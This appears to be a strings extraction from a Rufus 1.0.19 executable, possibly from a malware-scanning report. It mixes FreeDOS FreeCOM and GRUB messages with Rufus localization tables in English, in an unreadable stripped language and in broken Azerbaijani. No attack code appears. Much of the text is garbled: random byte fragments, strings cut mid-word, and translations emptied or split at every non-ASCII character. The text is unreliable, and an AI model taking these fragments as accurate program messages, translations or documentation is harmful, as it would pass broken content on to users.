_matherr(): %s in %s(%g, %g) (retval=%g)
VirtualQuery failed for %d bytes at address %p
VirtualProtect failed with code 0x%x
Unknown pseudo relocation protocol version %d.
Unknown pseudo relocation bit size %d.
unknown option -- %s
unknown option -- %c
option requires an argument -- %s
option requires an argument -- %c
GCC: (Rev2, Built by MSYS2 project) 5.3.0
If you are the translator, please update your translation with the changes that intervened between v1.0.18 and v1.0.19.
C:\Windows\system32
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp
<d.dR
y%uRl/~b
12345678
Invalid switch. - /%c
Invalid switch. - /%s
Ill-formed option: '%s'
Option '%s' can not have an argument
Option '%s' must have an argument
Invalid number specified in '%s'
Missing closing quote: %c
Too many parameters. - '%s'
Invalid parameter. - '%s'
File not found. - '%s'
Invalid drive %c:.
Bad command or filename - "%s".
Cannot pipe! Cannot open temporary file!
Line #%ld in batchfile '%s' too long.
Batchfile '%s' not found.
Batchfile '%s' does not contain label '%s'.
%s failed for '%s'.
Can not set environment variable '%s'.
Environment variable '%s' not found.
Can not set alias '%s'. Alias space full?
Alias '%s' not found.
Syntax error. - '%s'
Filename too long. - '%s'
Cannot copy '%s' to itself
Invalid history size '%s'.
Undefined error %d.
Illegal memory region %d - ignored.
Can not redirect input from file '%s'.
Can not redirect output to file '%s'.
The CTTY command has been excluded from this COMMAND.COM.
Invalid or no read-write device '%s'.
Failed to change file descriptors to TTY '%s'.
Unable to open source. - '%s'
Unable to open file '%s'
Unable to read from file '%s'
Unable to write to file '%s'
Sorry...not implemented yet.
The /MSG option has been excluded from this COMMAND.COM.
%u items displayed.
the system COMMAND.COM runs in. Please report this error.
The path to COMMAND.COM must be fully qualified!
COMMAND.COM assumes this path now:
Drive %c: not responding.
No such alias: '%s'
Invalid alias name '%s'.
Resizing context to %u bytes.
freecom@freedos.org
%s: Permission denied
%s: No such file or directory
%s: Unknown error
Press any key to continue . . .
History size is %d bytes.
DOSKEY features are already enabled in the shell.
ECHO is %s
VERIFY is %s
DEBUG output is %s.
DEBUG output is printed to '%s'.
BREAK is %s
LFNFOR is %s
LFN Complete is %s
Current date is %s
Enter new date (mm%sdd%s[cc]yy):
Enter new date (dd%smm%s[cc]yy):
Enter new date ([cc]yy%smm%sdd):
Current time is %s
%s %s %s
All files in '%s' will be deleted!
Terminate batch file '%s' (Yes/No/All) ?
Overwrite '%s' (Yes/No/All/Quit) ?
Append to '%s' (Yes/No/All/Quit) ?
Delete '%s' (Yes/No/All/Quit) ?
Volume in drive %c
is %s
Volume Serial Number is X-X
s file(s)
s bytes
s dir(s)
s bytes free
Directory of %s
Directory of %s
PATH=%s
%u files removed.
Press F8 for trace mode, or F5 to bypass %s...
Bypassing '%s'.
DOS version %u.%u
FreeDOS kernel version %d.%d.%d
Send bug reports to freedos-freecom@lists.sourceforge.net.
Updates are available from hXXp://freedos.sourceforge.net/freecom
to the enclosed HISTORY.TXT file.
Currently maintained by Steffen Kaiser mailto:freecom@freedos.org
FreeCOM executable not found.
You must specify the complete path to COMMAND.COM
C:\FDOS
Environment segment : max %5u bytes; free %5u bytes
Context segment : max %5u bytes; free %5u bytes
Aliases : limit %5u bytes, current %5u bytes, %5u items
History : limit %5u bytes, current %5u bytes, %5u items
Directory stack: limit %5u bytes, current %5u bytes, %5u items
Last dir cache : used %5u bytes, %5u items
Batch nesting : used %5u bytes, %5u items
Swapinfo : used %5u bytes, %5u items
The current codepage is %u.
The system codepage (properly) is: %u.
/Y enables tracemode during execution of the command.
COMMAND [[drive:]path] [device] [/E:nnnnn] [/L:nnnn] [/U:nnn] [/P] [/MSG]
[drive:]path Specifies the directory containing COMMAND.COM.
/MSG Stores all error messages in memory (requires /P as well).
/C command Executes the specified command and returns.
/K command Executes the specified command and continues running.
The switch /Y may be preset in the COPYCMD environment variable.
Switches may be preset in the DIRCMD environment variable. Override
The external DOSKEY utility had been incorporated into FreeCOM.
Use cursor UP,& DOWN keys to recall the history and HISTORY to display it.
Use cursor LEFT,& RIGHT and the END and HOME keys to navigate within
Use the TAB key to complete the current word as filename; use it twice
DOSKEY [/switch ...] [macroname=[text]]
/KEYSIZE:size Sets size of keyboard type-ahead buffer (default:15)
/MACROS Displays all DOSKey macros
/REINSTALL Installs a new copy of DOSKey
The following are special codes you can use in DOSKey macro definitions:
FOR %f IN (---start--- a*.* ---end---) DO ECHO - %f -
Displays or sets a search path for executable files.
"Press any key to continue...." or an optional specified message.
$B | (pipe)
Records comments (remarks) in a batch file or CONFIG.SYS.
The second one will prompt whether or not to execute the specified
Searches and displays the executable file for each specified command.
Deleting file "%s".
Unable to write to file '%s';
FreeCOM cannot be a device: "%s"
pointed to in %COMSPEC% seems to be invalid. Please specify another
C:\COMMAND.COM
%u Critical Error requests suppressed.
Exit code (ERRORLEVEL): %u, reason: %u (%s)
3456789
!"#$%&'(
\!ß
/.-, *)(
W%n.CC(6
!Po%F
*|%D-
NK@-.TMPn
0386.APU
{KEY/.SYS/AU
TOEXEC.B
."%s"XI
%4u-%
Y-5D
KEYB9{Buffg.lvm-Ry
keyb
h.fG3
6789:;<=
X.YuY
5.xt5)
A6.cB
KEYBgj
tp://[-|.sf.n
[.xsp
FreeDOS keyboard layout library file 1/4
FreeDOS keyboard layout library file 2/4
FreeDOS keyboard layout library file 3/4
FreeDOS keyboard layout library file 4/4P
@acm.org
acm.org
kostT@acm.or
oT@acm.org
T@acm.org
4Q%F^
cm.org
m.org
<%c)|
ostT@acm.org
/3`.px)xL
message in error, hold down the Ctrl key whilebooting, and I
Unknown keyword in configuration file:
Missing parameter in configuration file. Keyword:
Boot failed: please change disks and press a key to continue.
.cbt.bss.bs
.com.c32
%$%a%b%V%U%c%Q%W%]%\%[%
%<%^%_%Z%T%i%f%`%P%l%g%h%d%e%Y%X%R%S%k%j%
only support sH
%s^|ctx
llu (%u/
%xK0%1!L
@A.LD
I.IYN.m
k{h.Xgc!d%%dH`
%X1!v
start = %x, len
:0x%x size d
.ss@AU0
e Ctrl key while
->pvt[%d]: warnN
(C[%s(!#$LCN
MFTp
CHS[x]
N8emX$%UY:$
c.so.12
2key)
Y`SlS'$ P%x
c%Utu6
Loading %s...
-solaris Enable Solaris DHCP information passing
-aout Use the "a.out kludge" if enabled, even for ELF
Unsupported Multiboot flags set: %#x
Memory segment at 0xx (len 0xx) is unavailable
Failed to claim a.out address space!
Failed to map a.out data
Failed to map a.out bss
Invalid Multiboot image: neither ELF header nor a.out kludge found
1.2.5
inflate 1.2.5 Copyright 1995-2010 Mark Adler
to start GRUB, any other key to boot previous MBR ...
to boot previous MBR, any other key to start GRUB ...
Invalid previous MBR. Press any key to start GRUB ...
to hold the screen, any other key to boot previous MBR ...
hot-key
t\<%uP.
BIOS: Drive=0x%X, H=%d, S=%d
TUNE: Drive=0x%X, H=%d, S=%d
}]F/%u
(GCI.hp
nz.wQ~[
.zf#S
v 1.0.19
t MSG_001 "Other instance detected"
t MSG_002 "Another Rufus application is running.\n"
t MSG_003 "WARNING: ALL DATA ON DEVICE '%s' WILL BE DESTROYED.\n"
"To continue with this operation, click OK. To quit click CANCEL."
t MSG_004 "Rufus update policy"
t MSG_005 "Do you want to allow Rufus to check for application updates online?"
t MSG_006 "Close"
t MSG_007 "Cancel"
t MSG_008 "Yes"
t MSG_009 "No"
t MSG_010 "Bad blocks found"
t MSG_011 "Check completed: %d bad block(s) found\n"
" %d read error(s)\n %d write error(s)\n %d corruption error(s)\n"
t MSG_012 "%s\nA more detailed report can be found in:\n%s"
t MSG_013 "Disabled"
t MSG_014 "Daily"
t MSG_015 "Weekly"
t MSG_016 "Monthly"
t MSG_017 "Custom"
t MSG_018 "Your version: %d.%d (Build %d)"
t MSG_019 "Latest version: %d.%d (Build %d)"
t MSG_020 "bytes"
t MSG_021 "KB"
t MSG_022 "MB"
t MSG_023 "GB"
t MSG_024 "TB"
t MSG_025 "PB"
t MSG_026 "bytes"
t MSG_027 "kilobytes"
t MSG_028 "megabytes"
t MSG_029 "Default"
t MSG_030 "%s (Default)"
t MSG_031 "%s partition scheme for BIOS or %s"
t MSG_032 "%s partition scheme for BIOS"
t MSG_033 "%s partition scheme for UEFI"
t MSG_034 "%d Pass"
t MSG_035 "%d Passes"
t MSG_036 "ISO Image"
t MSG_037 "Application"
t MSG_038 "Abort"
t MSG_039 "Launch"
t MSG_040 "Download"
t MSG_041 "Operation cancelled by the user"
t MSG_042 "Error"
t MSG_043 "Error: %s"
t MSG_044 "File download"
t MSG_045 "USB Storage Device (Generic)"
t MSG_046 "%s (Disk %d) [%s]"
t MSG_047 "Multiple Partitions"
t MSG_048 "Rufus - Flushing buffers"
t MSG_049 "Rufus - Cancellation"
t MSG_050 "Success."
t MSG_051 "Undetermined error while formatting."
t MSG_052 "Cannot use the selected file system for this media."
t MSG_053 "Access to the device is denied."
t MSG_054 "Media is write protected."
t MSG_055 "The device is in use by another process. "
t MSG_056 "Quick format is not available for this device."
t MSG_057 "The volume label is invalid."
t MSG_058 "The device handle is invalid."
t MSG_059 "The selected cluster size is not valid for this device."
t MSG_060 "The volume size is invalid."
t MSG_061 "Please insert a removable media in drive."
t MSG_062 "An unsupported command was received."
t MSG_063 "Memory allocation error."
t MSG_064 "Read error."
t MSG_065 "Write error."
t MSG_066 "Installation failure"
t MSG_067 "Could not open media. It may be in use by another process. "
t MSG_068 "Error while partitioning drive."
t MSG_069 "Could not copy files to target drive."
t MSG_070 "Cancelled by user."
t MSG_071 "Unable to start thread."
t MSG_072 "Bad blocks check didn't complete."
t MSG_073 "ISO image scan failure."
t MSG_074 "ISO image extraction failure."
t MSG_075 "Unable to remount volume."
t MSG_076 "Unable to patch/setup files for boot."
t MSG_077 "Unable to assign a drive letter."
t MSG_078 "Can't mount GUID volume."
t MSG_079 "The device is not ready."
t MSG_080 "Rufus detected that Windows is still flushing its internal buffers onto the USB device.\n\n"
"Depending on the speed of your USB device, this operation may take a long time to complete, "
"especially for large files.\n\nWe recommend that you let Windows finish, to avoid corruption. "
t MSG_081 "Unsupported image"
t MSG_082 "This image is either non-bootable, or it uses a boot or compression method that is not supported by Rufus..."
t MSG_083 "Replace %s?"
t MSG_084 "This ISO image seems to use an obsolete version of '%s'.\n"
"'%s' exists there, it will be reused automatically."
t MSG_085 "Downloading %s"
t MSG_086 "No image selected"
t MSG_087 "Please click on the disc button to select a bootable image, "
t MSG_088 "Image is too big"
t MSG_089 "The image is too big for the selected target."
t MSG_090 "Unsupported ISO"
t MSG_091 "When using UEFI Target Type, only EFI bootable ISO images are supported. "
t MSG_092 "Unsupported filesystem"
t MSG_093 "IMPORTANT: THIS DRIVE CONTAINS MULTIPLE PARTITIONS!!\n\n"
"This may include partitions/volumes that aren't listed or even visible from Windows. "
t MSG_094 "Multiple partitions detected"
t MSG_095 "DD Image"
t MSG_096 "The file system currently selected can not be used with this type of ISO. "
t MSG_097 "'%s' can only be applied if the file system is NTFS."
t MSG_098 "IMPORTANT: You are trying to install 'Windows To Go', but your target drive doesn't "
"have the 'FIXED' attribute. Because of this Windows will most likely freeze during boot, "
t MSG_099 "Filesystem limitation"
t MSG_100 "This ISO image contains a file larger than 4GB, which is more than the "
t MSG_101 "Missing WIM support"
t MSG_102 "Your platform cannot extract files from WIM archives. WIM extraction "
"is required to create EFI bootable Windows 7 and Windows Vista USB drives. You can fix that "
t MSG_103 "Download %s?"
t MSG_104 "%s or later requires a '%s' file to be installed.\n"
"Because this file is more than 100 KB in size, and always present on %s ISO images, "
"'%s' exists there, it will be reused automatically.\n"
t MSG_105 "Cancelling may leave the device in an UNUSABLE state.\n"
t MSG_106 "Please select folder"
t MSG_107 "All files"
t MSG_108 "Rufus log"
t MSG_109 "0xX (Disk %d)"
t MSG_110 "MS-DOS cannot boot from a drive using a 64 kilobytes Cluster size.\n"
t MSG_111 "Incompatible Cluster size"
t MSG_112 "Formatting a large UDF volumes can take a lot of time. At USB 2.0 speeds, the estimated formatting "
"duration is %d:d, during which the progress bar will appear frozen. Please be patient!"
t MSG_113 "Large UDF volume"
t MSG_114 "This image uses Syslinux %s%s but this application only includes the installation files for "
"Syslinux %s%s.\n\nAs new versions of Syslinux are not compatible with one another, and it wouldn't "
"Internet ('ldlinux.sys' and 'ldlinux.bss'):\n""- Select 'No' to cancel the operation\n\n"
t MSG_115 "Download required"
t MSG_116 "This image uses Grub %s but the application only includes the installation files for "
"Grub %s.\n\nAs different versions of Grub may not be compatible with one another, and it is "
"installation file ('core.img') that matches the one from your image:\n""- Select 'Cancel' to abort the operation\n\n"
t MSG_150 "Usually the safest choice. However, if you have an UEFI computer and want to install "
"an Operating System in native EFI mode, you should select one of the other options"
t MSG_151 "Use this if you want to install an Operating System in native EFI mode, but will need "
"to access the USB content from Windows XP"
t MSG_152 "The preferred option to install an Operating System in native EFI mode, when USB access "
"is not required from Windows XP"
t MSG_153 "Test pattern: 0xX"
t MSG_154 "Test pattern: 0xX, 0xX"
t MSG_155 "Test pattern: 0xX, 0xX, 0xX"
t MSG_156 "Test pattern: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Sets the target filesystem"
t MSG_158 "Minimum size that a block of data will occupy in the filesystem"
t MSG_159 "Use this field to set the drive label\nInternational characters are accepted"
t MSG_160 "Toggle advanced options"
t MSG_161 "Check the device for bad blocks using a test pattern"
t MSG_162 "Uncheck this box to use the \"slow\" format method"
t MSG_163 "Check this box to make the USB drive bootable"
t MSG_164 "Method that will be used to make the drive bootable"
t MSG_165 "Click to select an image..."
t MSG_166 "Check this box to allow the display of international labels "
"and set a device icon (creates an autorun.inf)"
t MSG_167 "Install an MBR that allows boot selection and can masquerade the BIOS USB drive ID"
t MSG_168 "Try to masquerade first bootable USB drive (usually 0x80) as a different disk.\n"
"This should only be necessary if you install Windows XP and have more than one disk"
t MSG_169 "Create an extra hidden partition and try to align partitions boundaries.\n"
t MSG_170 "Enable the listing of USB Hard Drive enclosures. USE AT YOUR OWN RISKS!!!"
t MSG_171 "Start the formatting operation.\nThis will DESTROY any data on the target!"
t MSG_172 "Licensing information and credits"
t MSG_173 "Click to select..."
t MSG_174 "Rufus - The Reliable USB Formatting Utility"
t MSG_175 "Version %d.%d (Build %d)"
t MSG_176 "mailto:pete@akeo.ie"
t MSG_177 "Report bugs or request enhancements at:"
t MSG_178 "Additional Copyrights:"
t MSG_179 "Update Policy:"
t MSG_180 "If you choose to allow this program to check for application updates, "
t MSG_181 "Your operating system's architecture and version"
t MSG_182 "The version of the application you use"
t MSG_183 "Your IP address"
t MSG_184 "For the purpose of generating private usage statistics, we may keep the information collected, "
t MSG_185 "Update Process:"
t MSG_186 "Rufus does not install or run background services, therefore update checks are performed only when the main application is running.\\line\n"
t MSG_187 "Invalid image for selected boot option"
t MSG_188 "The current image doesn't match the boot option selected. Please use a different image or choose a different boot option."
t MSG_189 "This ISO image is not compatible with the selected filesystem"
t MSG_190 "Incompatible drive detected"
t MSG_191 "Write pass"
t MSG_192 "Read pass"
t MSG_193 "Downloaded %s"
t MSG_194 "Could not download %s"
t MSG_195 "Using embedded version of %s file(s)"
t MSG_196 "IMPORTANT: THIS DRIVE USES A NONSTANDARD SECTOR SIZE!\n\n"
"Conventional drives use a 512-byte sector size but this drive uses a %d-byte one. "
t MSG_197 "Nonstandard sector size detected"
t MSG_198 "'Windows To Go' can only be installed on a GPT partitioned drive if it has "
t MSG_199 "Choose this if you plan to install Windows, to another disk, using the selected device as installation media."
t MSG_200 "Choose this if you want to run Windows directly from the selected device."
t MSG_201 "Cancelling - Please wait..."
t MSG_202 "Scanning image..."
t MSG_203 "Failed to scan image"
t MSG_204 "Obsolete %s detected"
t MSG_205 "Using image: %s"
t MSG_206 "Missing %s file"
t MSG_207 "New Volume"
t MSG_208 "%d device found"
t MSG_209 "%d devices found"
t MSG_210 "READY"
t MSG_211 "Cancelled"
t MSG_212 "Failed"
t MSG_213 "Launching new application..."
t MSG_214 "Failed to launch new application"
t MSG_215 "Opened %s"
t MSG_216 "Saved %s"
t MSG_217 "Formatting: %0.1f%% completed"
t MSG_218 "Creating file system: Task %d/%d completed"
t MSG_219 "NTFS Fixup: %d%% completed"
t MSG_220 "Formatting (%s) - estimated duration %d:d..."
t MSG_221 "Setting Label (This may take while)..."
t MSG_222 "Formatting (%s)..."
t MSG_223 "NTFS Fixup (Checkdisk)..."
t MSG_224 "Clearing MBR/PBR/GPT structures..."
t MSG_225 "Requesting disk access..."
t MSG_226 "Analyzing existing boot records..."
t MSG_227 "Closing existing volume..."
t MSG_228 "Writing master boot record..."
t MSG_229 "Writing partition boot record..."
t MSG_230 "Copying DOS files..."
t MSG_231 "Copying ISO files..."
t MSG_232 "Win7 EFI boot setup (this may take a while)..."
t MSG_233 "Finalizing, please wait..."
t MSG_234 "Installing Syslinux %s..."
t MSG_235 "Bad Blocks: %s %d/%d - %0.2f%% (%d/%d/%d errors)"
t MSG_236 "Bad Blocks: Testing with random pattern"
t MSG_237 "Bad Blocks: Testing with pattern 0xX"
t MSG_238 "Partitioning (%s)..."
t MSG_239 "Deleting partitions..."
t MSG_240 "Downloading %s: Connecting..."
t MSG_241 "Downloading: %0.1f%%"
t MSG_242 "Failed to download file."
t MSG_243 "Checking for Rufus updates..."
t MSG_244 "Updates: Unable to connect to the internet"
t MSG_245 "Updates: Unable to access version data"
t MSG_246 "A new version of Rufus is available!"
t MSG_247 "No new version of Rufus was found"
t MSG_248 "Application registry keys successfully deleted"
t MSG_249 "Failed to delete application registry keys"
t MSG_250 "%s enabled"
t MSG_251 "%s disabled"
t MSG_252 "Size checks"
t MSG_253 "Hard disk detection"
t MSG_254 "Force large FAT32 formatting"
t MSG_255 "NoDriveTypeAutorun will be deleted on exit"
t MSG_256 "Fake drive detection"
t MSG_257 "Joliet support"
t MSG_258 "Rock Ridge support"
t MSG_259 "Force update"
t MSG_260 "NTFS compression"
t MSG_261 "Writing image: %0.1f%% completed"
t MSG_262 "ISO Support"
t MSG_263 "Use PROPER size units"
t MSG_264 "Deleting directory '%s'"
t MSG_265 "VMWare disk detection"
t MSG_266 "Dual UEFI/BIOS mode"
t MSG_267 "Applying Windows image: %0.1f%% completed"
t MSG_268 "Applying Windows image..."
t MSG_269 "Preserve timestamps"
t MSG_270 "USB debug"
t MSG_271 "Computing image checksums: %0.1f%% completed"
t MSG_272 "Compute the MD5, SHA1 and SHA256 checksums for the selected image"
t MSG_273 "Change the application language"
t MSG_274 "ISOHybrid image detected"
t MSG_275 "The image you have selected is an 'ISOHybrid' image. This means it can be written either in "
"%s (file copy) mode or %s (disk image) mode.\n"
"Rufus recommends using %s mode, so that you always have full access to the drive after writing it.\n"
"However, if you encounter issues during boot, you can try writing this image again in %s mode.\n\n"
t MSG_276 "Write in %s mode (Recommended)"
t MSG_277 "Write in %s mode"
t MSG_278 "Boot type"
t MSG_279 "Non bootable"
t MSG_280 "Image selection"
t MSG_281 "(Please select an image)"
t MSG_282 "Exclusive USB drive locking"
t MSG_283 "Invalid signature"
t MSG_284 "The downloaded executable is missing a digital signature."
t MSG_285 "The downloaded executable is signed by '%s'.\nThis is not a signature we recognize and could "
t MSG_286 "Zeroing drive: %0.1f%% completed"
v 1.0.18
t IDC_WINDOWS_INSTALL "
t IDC_WINDOWS_TO_GO "Windows To Go (
t IDC_WEBSITE "
t MSG_001 "
t MSG_002 "
t MSG_003 "
'%s'.\n"
t MSG_004 "
t MSG_005 "
t MSG_006 "
t MSG_007 "
t MSG_008 "
t MSG_009 "
t MSG_010 "
t MSG_011 "
\n %d
t MSG_012 "%s\n
:\n%s"
t MSG_013 "
t MSG_014 "
t MSG_015 "
t MSG_016 "
t MSG_017 "
t MSG_018 "
: %d.%d (Build %d)"
t MSG_019 "
t MSG_020 "
t MSG_026 "
t MSG_027 "
t MSG_028 "
t MSG_029 "
t MSG_030 "%s (
t MSG_031 "%s
t MSG_032 "%s
t MSG_033 "%s
t MSG_034 "%d
t MSG_035 "%d
t MSG_036 "ISO
t MSG_037 "
t MSG_038 "
t MSG_039 "
t MSG_040 "
t MSG_041 "
t MSG_042 "
t MSG_043 "
: %s"
t MSG_044 "
t MSG_045 "
t MSG_046 "%s (
%d) [%s]"
t MSG_047 "
t MSG_048 "
t MSG_049 "
t MSG_050 "
t MSG_051 "
t MSG_052 "
t MSG_053 "
t MSG_054 "
t MSG_055 "
t MSG_056 "
t MSG_057 "
t MSG_058 "
t MSG_059 "
t MSG_060 "
t MSG_061 "
t MSG_062 "
t MSG_063 "
t MSG_064 "
t MSG_065 "
t MSG_066 "
t MSG_067 "
t MSG_068 "
t MSG_069 "
t MSG_070 "
t MSG_071 "
t MSG_072 "
t MSG_073 "
t MSG_074 "
t MSG_075 "
t MSG_076 "
t MSG_077 "
t MSG_078 "
t MSG_079 "
t MSG_080 "
t MSG_081 "
t MSG_082 "
t MSG_083 "
t MSG_084 "
'%s'. \n"
t MSG_085 "
t MSG_086 "
t MSG_087 "
t MSG_088 "
t MSG_089 "
t MSG_090 "ISO
t MSG_091 "
t MSG_092 "
t MSG_093 "
t MSG_094 "
t MSG_095 "DD
t MSG_096 "
t MSG_097 "'%s'
t MSG_098 "
'Windows To Go'
t MSG_099 "
t MSG_100 "
t MSG_101 "
t MSG_102 "
t MSG_103 "
t MSG_104 "%s
ISO %s, "
t MSG_105 "
t MSG_106 "
t MSG_107 "
t MSG_108 "
t MSG_109 "
0xX
t MSG_110 "MS-DOS
t MSG_111 "
t MSG_112 "
: %d:d,
t MSG_113 "
t MSG_114 "
Syslinux %s%s
"Syslinux %s%s. \n\n
('ldlinux.sys''ldlinux.bss'):\n"
t MSG_115 "
t MSG_116 "
Grub %s
"Grub %s.\n\n
"('core.img')t MSG_150 "
t MSG_151 "
t MSG_152 "
t MSG_153 "
: 0xX"
t MSG_154 "
: 0xX, 0xX"
t MSG_155 "
: 0xX, 0xX, 0xX"
t MSG_156 "
: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "
t MSG_158 "
t MSG_159 "
t MSG_160 "
t MSG_161 "
t MSG_162 "
t MSG_163 "
t MSG_164 "
t MSG_165 "
t MSG_166 "
autorun.inf)"
t MSG_167 "
t MSG_168 "
t MSG_169 "
t MSG_170 "
t MSG_171 "
t MSG_172 "
t MSG_173 "
t MSG_174 "
t MSG_175 "
%d.%d (
t MSG_176 "
(mailto:ch_djalel@yahoo.com)"
t MSG_177 "
t MSG_178 "
t MSG_179 "
t MSG_180 "
t MSG_181 "
t MSG_182 "
t MSG_183 "
t MSG_184 "
t MSG_185 "
t MSG_186 "
t MSG_187 "
t MSG_188 "
t MSG_189 "
t MSG_190 "
t MSG_191 "
t MSG_192 "
t MSG_193 "
t MSG_194 "
t MSG_195 "
) %s"
t MSG_196 "
t MSG_197 "
t MSG_198 "
'Windows To Go'
t MSG_199 "
t MSG_201 "
t MSG_202 "
t MSG_203 "
t MSG_204 "
t MSG_205 "
ISO: %s"
t MSG_206 "
t MSG_207 "
t MSG_208 "
t MSG_209 "
t MSG_210 "
t MSG_211 "
t MSG_212 "
t MSG_213 "
t MSG_214 "
t MSG_215 "
t MSG_216 "
t MSG_217 "
t MSG_218 "
%d/%d
t MSG_219 "
%d%%"
t MSG_220 "
%d:d..."
t MSG_221 "
t MSG_222 "
(%s)..."
t MSG_223 "
t MSG_224 "
t MSG_225 "
t MSG_226 "
t MSG_227 "
t MSG_228 "
t MSG_229 "
t MSG_230 "
t MSG_231 "
t MSG_232 "
t MSG_233 "
t MSG_234 "
Syslinux %s..."
t MSG_235 "
%d/%d - %0.2f%% (%d/%d/%d
t MSG_236 "
t MSG_237 "
0xX"
t MSG_238 "
t MSG_239 "
t MSG_240 "
t MSG_241 "
t MSG_242 "
t MSG_243 "
t MSG_244 "
t MSG_245 "
t MSG_246 "
t MSG_247 "
t MSG_248 "
t MSG_249 "
t MSG_250 "
t MSG_251 "
t MSG_252 "
t MSG_253 "
t MSG_254 "
t MSG_255 "
t MSG_256 "
t MSG_257 "
t MSG_258 "
t MSG_259 "
t MSG_260 "
t MSG_261 "
t MSG_262 "
t MSG_263 "
t MSG_264 "
'%s'"
t MSG_265 "
t MSG_266 "
t MSG_267 "
t MSG_268 "
t MSG_269 "
t MSG_270 "
t MSG_271 "
t MSG_272 "
t MSG_273 "
t MSG_274 "
t MSG_275 "
%s.\n (
%s.\n\n"
t MSG_276 "
t MSG_277 "
t MSG_278 "
t MSG_279 "
t MSG_280 "
t MSG_281 "(
m IDC_NBPASSES 30,0
s IDC_NBPASSES -25,0
t IDC_WINDOWS_INSTALL "Standart Windows Y
t IDC_WEBSITE "Veb sayt
t MSG_001 "Rufus'un art
t MSG_002 "Ba
t MSG_003 "X
RDARLIQ: '%s' C
t MSG_004 "Rufus yenil
t MSG_005 "Rufus'un proqram
t MSG_006 "Ba
t MSG_008 "B
t MSG_009 "Xeyr"
t MSG_010 "S
t MSG_011 "Yoxlama Bitdi: %d s
" %d oxuma s
hvi\n %d yazma s
hvi\n %d s
t MSG_012 "%s\nDaha
hesabat burada:\n%s"
t MSG_013 "Oflayn"
t MSG_014 "G
t MSG_015 "H
t MSG_016 "Ayl
t MSG_017 "X
t MSG_018 "M
vcud Versiya: %d.%d (Edil
n %d)"
n son versiya: %d.%d (Edil
t MSG_020 "byte"
t MSG_026 "byte"
t MSG_027 "kilobyte"
t MSG_028 "megabyte"
t MSG_029 "F
t MSG_030 "%s (F
t MSG_031 "%s Hiss
idi: BIOS ya da %s
t MSG_032 "BIOS
n %s Hiss
t MSG_033 "UEFI
t MSG_034 "%d Ke
t MSG_035 "%d Ke
t MSG_037 "Proqram"
t MSG_039 "Ba
t MSG_040 "Y
t MSG_042 "S
t MSG_043 "S
hv: %s"
t MSG_044 "Fayl y
t MSG_045 "USB Y
t MSG_048 "Rufus - Tamamlan
t MSG_049 "Rufus -
t MSG_050 "U
urlu oldu."
t MSG_051 "Formatlayark
t MSG_052 "Se
t MSG_053 "Cihaza giri
t MSG_054 "Media yazma qorumal
t MSG_055 "Cihaz ba
t MSG_056 "Bu cihaz
t MSG_057 "T
t MSG_058 "Cihaz izahat
t MSG_059 "Se
t MSG_060 "T
t MSG_061 "L
t MSG_062 "D
t MSG_063 "Yadda
t MSG_064 "Oxuma S
t MSG_065 "Yazma S
t MSG_066 "Y
t MSG_067 "Media a
t MSG_068 "S
t MSG_069 "Fayllar h
t MSG_072 "S
t MSG_073 "ISO fayl
t MSG_074 "ISO fayl
t MSG_076 "A
t MSG_077 "S
t MSG_078 "GUID yerl
t MSG_079 "Cihaz haz
t MSG_080 "Rufus Windows'un USB cihaz
n Windows'un i
t MSG_081 "D
t MSG_082 "Bu fayl ya
t MSG_083 "%s yeri d
t MSG_084 "Bu ISO fayl
'%s'in k
"'%s' Orda m
t MSG_085 "%s y
t MSG_086 "Fayl se
t MSG_087 "L
t MSG_088 "Fayl
t MSG_089 "Fayl se
t MSG_090 "D
t MSG_091 "EFI H
t MSG_092 "D
t MSG_093 "M
lanmayan ya da Windows'un g
t MSG_095 "DD Fayl
t MSG_096 "M
t MSG_097 "'%s' sad
t MSG_098 "M
M: 'Windows To Go' y
Windows,
t MSG_099 "Fayl Sistemi M
t MSG_100 "Bu ISO fayl
t MSG_102 "Platforman
r Windows 7 v
Windows Vista USB s
t MSG_103 "%s y
t MSG_104 "%s ya da daha yuxar
n '%s' fayl
%s ISO fayllar
r:\n"
"'%s' Orda m
t MSG_106 "L
t MSG_107 "B
t MSG_108 "Rufus g
t MSG_110 "MS-DOS, 64 kilobyte Ay
t MSG_111 "Uy
t MSG_112 "Geni
%d:d,
t MSG_113 "Geni
t MSG_114 "Bu variant Syslinux %s%s istifad
z Syslinux %s%s
n('ldlinux.sys' v'ldlinux.bss') internet
t MSG_115 "Y
t MSG_116 "Bu variant Grub %s istifad
z Grub %s
"('core.img') etmt MSG_150 "Ad
t MSG_151 "Bir
Windows XP d
t MSG_152 "Bir
Windows XP
t MSG_153 "Q
libi Yoxla: 0xX"
t MSG_154 "Q
libi Yoxla: 0xX, 0xX"
t MSG_155 "Q
libi Yoxla: 0xX, 0xX, 0xX"
t MSG_156 "Q
libi Yoxla: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "H
t MSG_158 "Fayl sistemind
t MSG_159 "Bu sah
t MSG_161 "Q
t MSG_162 "\"Yava
t MSG_163 "A
t MSG_164 "S
t MSG_166 "Beyn
n edin (autorun.inf yarad
t MSG_167 "A
z Windows XP y
t MSG_169 "Qeyri-adi gizli bir hiss
t MSG_170 "USB sabit s
t MSG_171 "Formatlama prosesini ba
t MSG_172 "Lisenziya m
t MSG_173 "Se
t MSG_174 "Rufus - Etibarl
t MSG_175 "Versiya %d.%d (Qurulu
t MSG_176 "Az
likov <mailto:elvin_melikov@mail.ru>"
t MSG_177 "S
t MSG_179 "Yenil
t MSG_180 "Proqrama yenil
t MSG_183 "IP Adresiniz"
t MSG_184 "X
t MSG_185 "Yenil
t MSG_186 "Yenil
t MSG_187 "Se
t MSG_188 "M
t MSG_189 "Bu ISO
t MSG_190 "Uy
t MSG_191 "Yazma ke
t MSG_192 "Oxuma ke
t MSG_193 "%s y
t MSG_194 "%s y
t MSG_195 "%s fayllar
t MSG_196 "M
%d-byte istifad
t MSG_197 "Standart olmayan sektor
t MSG_198 "'Windows To Go', SAB
t MSG_199 "Windows'u ba
t MSG_200 "Windows'u birba
t MSG_202 "Fayl Axtar
t MSG_203 "Fayl axtar
t MSG_204 "K
%s tap
n Fayl: %s"
t MSG_206 "K
%s fayl
t MSG_207 "Yeni
t MSG_208 "%d cihaz tap
t MSG_209 "%d cihaz tap
t MSG_210 "HAZIRDIR"
t MSG_211 "L
t MSG_212 "U
t MSG_213 "Yeni proqram a
t MSG_214 "Yeni proqram ba
t MSG_215 "%s A
t MSG_216 "%s Yadda
t MSG_217 "Formatlan
